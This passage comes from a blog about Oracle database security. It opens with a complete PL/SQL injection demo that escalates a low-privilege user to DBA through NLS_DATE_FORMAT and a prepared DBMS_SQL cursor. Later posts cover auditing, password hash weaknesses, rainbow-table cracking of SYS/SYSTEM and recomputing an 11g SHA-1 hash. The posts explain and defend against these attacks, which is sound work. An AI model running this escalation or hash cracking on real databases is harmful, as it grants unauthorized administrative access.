PL/SQL procedure successfully completed.

test@CHEN>set role dba;
Role set.

Now we use procedure without parameter and use cursor to attach attack sql.

sys@TEST>create or replace procedure p_date is
  2    stmt varchar2(200);
  3    v_date date := sysdate;
  4  begin
  5    stmt:=’select object_name from all_objects where created = ”’ || v_date || ””;
  6    dbms_output.put_line(stmt);
  7    execute immediate stmt;
  8  end;
  9  /
Procedure created.

sys@TEST>grant execute on p_date to public;
Grant succeeded.

test@TEST>set serveroutput on
test@TEST>declare
  2    v_cur number;
  3  begin
  4    v_cur := dbms_sql.open_cursor();
  5    dbms_sql.parse(v_cur,’declare pragma autonomous_transaction; begin execute immediate ”grant dba to public”; commit; end;’,0);
  6    dbms_output.put_line(’cursor is: ‘|| v_cur);
  7  end;
  8  /
cursor is: 2
PL/SQL procedure successfully completed.

test@TEST>alter session set nls_date_format = ‘”” AND DBMS_SQL.EXECUTE(2)=1–”‘;
Session altered.

test@TEST>select sysdate from dual;
SYSDATE
—————————–
‘ AND DBMS_SQL.EXECUTE(2)=1–

test@TEST>exec sys.p_date;
select object_name from all_objects where created = ” AND DBMS_SQL.EXECUTE(2)=1–’
PL/SQL procedure successfully completed.

test@TEST>set role dba;
Role set.

Recommends
1.       If concatenation is necessary then check the input for malicious code, eliminate illegal characters, such as punctuation, or, union;
2.       If possible, do not use dynamic PL/SQL;
3.       If dynamic PL/SQL is necessary then use bind variables;
4.       Use the principle of least privilege and ensure that the users created for the applications have the privileges needed and all extra privileges (such as PUBLIC ones) are not available.

How to check objects changed/accessed?

Filed under: Oracle — Yaping @ 2:28 am
Tags:

Sometimes we need to track objects, determine if objects be changed.
Timestamp is not always a good track to identify objects changed.

@>create or replace function f_test(p_str varchar2)
  2  return varchar2
  3  as
  4    v_str varchar2(32767);
  5  begin
  6    v_str:=upper(p_str);
  7    return v_str;
  8  end;
  9  /
Function created.

@>select CREATED,LAST_DDL_TIME from dba_objects where OBJECT_NAME=’F_TEST’;
CREATED             LAST_DDL_TIME
——————- ——————-
2007-12-21 23:43:38 2007-12-21 23:43:38

@>select CTIME,MTIME,STIME from obj$ where NAME=’F_TEST’;
CTIME               MTIME               STIME
——————- ——————- ——————-
2007-12-21 23:43:38 2007-12-21 23:43:38 2007-12-21 23:43:38

@>alter function f_test compile;
Function altered.

@>select CREATED,LAST_DDL_TIME from dba_objects where OBJECT_NAME=’F_TEST’;
CREATED             LAST_DDL_TIME
——————- ——————-
2007-12-21 23:43:38 2007-12-21 23:48:19

@>select CTIME,MTIME,STIME from obj$ where NAME=’F_TEST’;
CTIME               MTIME               STIME
——————- ——————- ——————-
2007-12-21 23:43:38 2007-12-21 23:48:19 2007-12-21 23:43:38

@>create or replace function f_test(p_str varchar2)
  2  return varchar2
  3  as
  4    v_str varchar2(32767);
  5  begin
  6    v_str:=upper(p_str);
  7    return v_str;
  8  end;
  9  /
Function created.

@>
@>select CREATED,LAST_DDL_TIME from dba_objects where OBJECT_NAME=’F_TEST’;
CREATED             LAST_DDL_TIME
——————- ——————-
2007-12-21 23:43:38 2007-12-21 23:49:53

@>select CTIME,MTIME,STIME from obj$ where NAME=’F_TEST’;
CTIME               MTIME               STIME
——————- ——————- ——————-
2007-12-21 23:43:38 2007-12-21 23:49:53 2007-12-21 23:49:53

DBA_OBJECTS.LAST_DDL_TIME refers to obj$.MTIME.
Even though this function contents doesn’t change, but the timestamp all changed.

@>select dbms_utility.get_hash_value(dbms_metadata.get_ddl(’FUNCTION’,’F_TEST’,user),3,1073741824) from dual;
DBMS_UTILITY.GET_HASH_VALUE(DBMS_METADATA.GET_DDL(’FUNCTION’,’F_TEST’,USER),3,1073741824)
—————————————————————————————–
                                                                                142768459

@>create or replace function f_test(p_str varchar2)
  2  return varchar2
  3  as
  4    v_str varchar2(32767);
  5  begin
  6    v_str:=upper(p_str);
  7    return v_str;
  8  end;
  9  /
Function created.

@>select dbms_utility.get_hash_value(dbms_metadata.get_ddl(’FUNCTION’,’F_TEST’,user),3,1073741824) from dual;
DBMS_UTILITY.GET_HASH_VALUE(DBMS_METADATA.GET_DDL(’FUNCTION’,’F_TEST’,USER),3,1073741824)
—————————————————————————————–
                                                                                142768459

@>
@>create or replace function f_test(P_str varchar2)
  2  return varchar2
  3  as
  4    v_str varchar2(32767);
  5  begin
  6    v_str:=upper(p_str);
  7    return v_str;
  8  end;
  9  /
Function created.

@>select dbms_utility.get_hash_value(dbms_metadata.get_ddl(’FUNCTION’,’F_TEST’,user),3,1073741824) from dual;
DBMS_UTILITY.GET_HASH_VALUE(DBMS_METADATA.GET_DDL(’FUNCTION’,’F_TEST’,USER),3,1073741824)
—————————————————————————————–
                                                                                629865228

If use hash value to determine objects changed, we must store hash value firstly, then we have base value to compare. We can also use dbms_obfuscation_toolkit to compute hash value.

Audit is important to track objects changed or accessed. Since Oracle 10g R2, if you set audit_trail=DB_EXTENDED, triggered SQL statement be recorded in aud$.SQLTEXT, but before Oracle 10g, aud$ table doesn’t record the SQL statements, for ddl operation, you can use trigger to accomplish it (see Appendix A), for select statements, you can use fine grained auditing (DBMS_FGA).

10g
sys@TEST>@getvv audit
       NUM NAME                            ORD VALUE                ISDEFAULT
———- ——————– ————– ——————– ——————–
       938 audit_trail                       1 DB                   FALSE
           audit_trail                       2 OS                   FALSE
           audit_trail                       3 NONE                 FALSE
           audit_trail                       4 TRUE                 FALSE
           audit_trail                       5 FALSE                FALSE
           audit_trail                       6 DB_EXTENDED          FALSE
           audit_trail                       7 XML                  FALSE
           audit_trail                       8 EXTENDED             FALSE

 
Appendix A
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
– refer to Application Developer’s Guide – Fundamentals
– logon as sys

whenever sqlerror exit failure;

create table audit_trail
(USERNAME     VARCHAR2(30),
MACHINE       VARCHAR2(64),
CLIENT_IP     VARCHAR2(15),
OS_USER       VARCHAR2(30),
OWNER         VARCHAR2(30),
OBJECT_NAME   VARCHAR2(30),
OBJECT_TYPE   VARCHAR2(18),
ACTION        VARCHAR2(30),
SQL_TEXT      VARCHAR2(4000),
TIME          DATE);

create or replace trigger audit_ddl_trigger
  after ddl on database
declare
  n        number;
  stmt     varchar2(4000);
  sql_text ora_name_list_t;
begin
  n := ora_sql_txt(sql_text);
  for i in 1..n loop
      stmt := stmt || sql_text(i);
  end loop;

  insert into audit_trail(username,machine,client_ip,os_user,owner,object_name,object_type,action,sql_text,time)
  values(ora_login_user,SYS_CONTEXT(’USERENV’,’HOST’),SYS_CONTEXT(’USERENV’,’IP_ADDRESS’),
         SYS_CONTEXT(’USERENV’,’OS_USER’),ora_dict_obj_owner,ora_dict_obj_name,ora_dict_obj_type,
         ora_sysevent,stmt,sysdate);

exception
  when others then
    NULL;
end;
/

Password Cracking

Filed under: Oracle — Yaping @ 2:27 am
Tags:

There’re many tools used to crack password, such as orabf, on one P4 2.0G CPU machine, it can compute about one million hash value per second.

We can also store password and its hash value pair in files, called rainbow table, then use hash value to compare value in this file. It’s especial useful for known users, such as sys, system.

DB Link

Filed under: Oracle — Yaping @ 2:26 am
Tags:

Prior 10g, password for DB link stores in DB with clear text, it has been changed since 10g.

Oracle 9i
@>show user
USER is “TEST”
@>create database link l_test connect to test identified by test using ‘test’;
Database link created.
@>select dbms_metadata.get_ddl(’DB_LINK’,’L_TEST’,user) from dual;
DBMS_METADATA.GET_DDL(’DB_LINK’,’L_TEST’,USER)
——————————————————————————–
  CREATE DATABASE LINK “L_TEST”
   CONNECT TO “TEST” IDENTIFIED BY “TEST“
   USING ‘test’

@>conn /as sysdba
Connected.
@>select NAME,USERID,PASSWORD from link$;
NAME                           USERID                         PASSWORD
—————————— —————————— ——————————
L_TEST                         TEST                           TEST

 
10g
test@TEST>show user
USER is “TEST”
test@TEST>create database link l_chen connect to test identified by test using ‘chen’;
Database link created.
test@TEST>select DB_LINK,USERNAME from user_db_links;
DB_LINK                                            USERNAME
————————————————– ——————————
L_CHEN.REGRESS.RDBMS.DEV.US.ORACLE.COM             TEST
test@TEST>select dbms_metadata.get_ddl(’DB_LINK’,’L_CHEN.REGRESS.RDBMS.DEV.US.ORACLE.COM’,user) from dual;
DBMS_METADATA.GET_DDL(’DB_LINK’,’L_CHEN.REGRESS.RDBMS.DEV.US.ORACLE.COM’,USER)
——————————————————————————–
  CREATE DATABASE LINK “L_CHEN.REGRESS.RDBMS.DEV.US.ORACLE.COM”
   CONNECT TO “TEST” IDENTIFIED BY VALUES ‘05C9398288555E95E498B33A68083EDD2E’
   USING ‘chen’

test@TEST>conn /as sysdba
Connected.
sys@TEST>select NAME,USERID,PASSWORD,PASSWORDX from link$;
NAME                                     USERID     PASSWORD   PASSWORDX
—————————————- ———- ———- —————————————-
L_CHEN.REGRESS.RDBMS.DEV.US.ORACLE.COM   TEST                  05C9398288555E95E498B33A68083EDD2E

 
The DBLINK_ENCRYPT_LOGIN initialization parameter is used for connections between two Oracle servers (for example, when performing distributed queries).
Whenever you attempt to connect to a server using a password, Oracle encrypts the password before sending it to the server. If the connection fails and auditing is enabled, the failure is noted in the audit log. Oracle then checks the appropriate DBLINK_ENCRYPT_LOGIN. If it set to FALSE, Oracle attempts the connection again using an unencrypted version of the password. If the connection is successful, the connection replaces the previous failure in the audit log, and the connection proceeds. To prevent malicious users from forcing Oracle to re-attempt a connection with an unencrypted version of the password, you must set the appropriate values to TRUE.

Password

Filed under: Oracle — Yaping @ 2:25 am
Tags: ,

The main password encryption principles are:
1.       Enforcement of Complex Passwords
2.       Use of Salted Passwords
3.       Slow One-way Algorithm

We should consider to forcibly use complex password and password lifetime, this principle can be defined within the system. At the same time, we also should consider to adopt password management tools, such as password2000, to mange password conveniently.
It will be hard to crack the password if salted value is used, even though this salted value is clear text or known.
Slow one-way algorithm makes encrypt slowly, it need more time to get the final cipher. And we can change the encrypt algorithm at the mid-way, it will be more difficult to crack this algorithm.
Assume that it can calculate 1 million final ciphers every one second if it uses one pass to encrypt password. It’ll be just 10 thousand final ciphers if use the calculated value to repeat encrypt 1 hundred times. This means it needs one day to crack out the password before, now it needs 100 days. If the password lifetime is 30 days, this password has been changed before the old password is cracked.

Oracle Password Mechanism:
1.       Concatenate the username and the password to produce a plaintext string;
2.       Convert the plaintext string to uppercase characters;
3.       Convert the plaintext string to multi-byte storage format; ASCII characters have the high byte set to 0×00;
4.       Encrypt the plaintext string (padded with 0s if necessary to the next even block length) using the DES algorithm in cipher block chaining (CBC) mode with a fixed key value of 0×0123456789ABCDEF;
5.       Encrypt the plaintext string again with DES-CBC, but using the last block of the output of the previous step (ignoring parity bits) as the encryption key. The last block of the output is converted into a printable string to produce the password hash value.

Weak Salt Selection
Oracle password hashes use a non-conventional technique for salt selection by prepending the username to the password before calculating the hash.

Firstly, it is quite possible to obtain information about a user password based solely on its hash value and the known credentials of another user.

A second weakness is the use of non-random salt values. Although the salt used can still reduce the effectiveness of a precomputed dictionary attack against a large password hash table, an attacker could still precompute a table of possible passwords using a common username (e.g. SYSTEM), and use it to attempt to recover the password for this particular user in many different systems.

@>alter user system identified by p1;
User altered.
@>alter user sys identified by temp1;
User altered.
@>select username, password from dba_users where username like ‘SYS%’;
USERNAME                       PASSWORD
—————————— ——————————
SYS                            2E1168309B5B9B7A
SYSTEM                         2E1168309B5B9B7A

Lack of Case Preservation
Another weakness in the Oracle password hashing mechanism is the lack of alphabetic case preservation. Before the password hash is calculated, the user’s password is converted to all uppercase characters, regardless of the input case selection.
This behaviour represents a significant weakness in the password hashing algorithm, as it reduces the number of possible passwords,

@>alter user system identified by P1;
User altered.
@>select username, password from dba_users where username = ‘SYSTEM’;
USERNAME                       PASSWORD
—————————— ——————————
SYSTEM                         2E1168309B5B9B7A

Recommends
1.       Force complex password & length
Force use complex password. Refer to ?/rdbms/admin/utlpwdmg.sql.
We must specify a standalone function owned by SYS, but can use subprocedures/functions/package in this function.
We can use double quotation marks to involved special symbol, increases the choice of characters. But in some logon tools, it maybe encounter issues.

2.       Force password lifetime
Specify profile attribute to limit password lifetime. If this password policy has been introduced, password changed will be recorded in user_history$ table.

Since Oracle 10g R2, the default profile’s password life changed from unlimited to 10 days, if your database be upgraded from low release, use the default profile and PASSWORD_LIFE_TIME is unlimited, then you need keep an eye on it.

3.       Lock unused accounts, change default password

4.       Restrict access to password hashes & Audit

@>audit SELECT on dba_users;
Audit succeeded.

@>audit select on sys.user$;
audit select on sys.user$
                    *
ERROR at line 1:
ORA-00701: object necessary for warmstarting database cannot be altered

User$ is a specific table, used when database bootstrap, you can’t audit it.

Change password through password command, the password will be encrypted and then be sent through network.
While alter user XXX identified by command will be sent with clear text.

@>password
Changing password for TEST
Old password: ****
New password: ****
Retype new password: ****
Password changed

 
Changed in 11g

@>alter user system identified by p1;
User altered.
@>select USERNAME,PASSWORD from dba_users where USERNAME=’SYSTEM’;
USERNAME                       PASSWORD
—————————— ——————————
SYSTEM
@>select NAME,PASSWORD,SPARE4 from user$ where NAME=’SYSTEM’;
NAME                 PASSWORD                       SPARE4
——————– —————————— ——————————————————————————–
SYSTEM               2E1168309B5B9B7A               S:8388CBF57687E6E8CF97BB672C2EDE394140FADE024E16329E8A2BF2E9BF

@>alter user system identified by p1;
User altered.
@>select NAME,PASSWORD,SPARE4 from user$ where NAME=’SYSTEM’;
NAME                 PASSWORD                       SPARE4
——————– —————————— ——————————————————————————–
SYSTEM               2E1168309B5B9B7A               S:09043B9ABFA366DF41DD16DE6768FDC04C57EF1374E0B04DAC8616716074

[oracle@chen ~]$ echo -ne “p1\x74\xE0\xB0\x4D\xAC\x86\x16\x71\x60\x74″|sha1sum
09043b9abfa366df41dd16de6768fdc04c57ef13  –

sys@DMS>@getPar
Enter value for parameter: case
old   6: ksppinm like lower(’%&parameter%’)
new   6: ksppinm like lower(’%case%’)
NAME                                     VALUE                                    DESCRIPTION
—————————————- —————————————- —————————————-
_case_sensitive_logon                    TRUE                                     case sensitive logon enabled
sec_case_sensitive_logon                 TRUE                                     case sensitive password enabled for logon

sys@DMS>alter user test identified by test;
sys@DMS>conn test/test
ERROR:
ORA-01017: invalid username/password; logon denied
Warning: You are no longer connected to ORACLE.

test@DMS>conn /as sysdba
Connected.
sys@DMS>show sqlcase
sqlcase UPPER
sys@DMS>conn test/TEST
Connected.
test@DMS>conn /as sysdba
Connected.
sys@DMS>set sqlcase mixed
sys@DMS>alter user test identified by Test;
sys@DMS>conn test/TEST
ERROR:
ORA-01017: invalid username/password; logon denied
Warning: You are no longer connected to ORACLE.
sys@DMS>conn test/Test
Connected.

You can find that password hash value doesn’t display in dba_users. There’re two password encryption values in user$, one is the same as before, this is still one weakness, another encrypted with SHA-1, it changes every time when changed password, even though the password is the same (is the time be used to generate salt?). There’s one initial parameter to control password case-sensitive.
The new encryption algorithm is simple. Oracle generates 10 bytes salt, the password and the salt are concatenated and SHA-1 hash is generated from the concatenated value. The result value is stored in the spare4 column of the sys.user$ table.

Next Page »

Create a free website or blog at WordPress.com.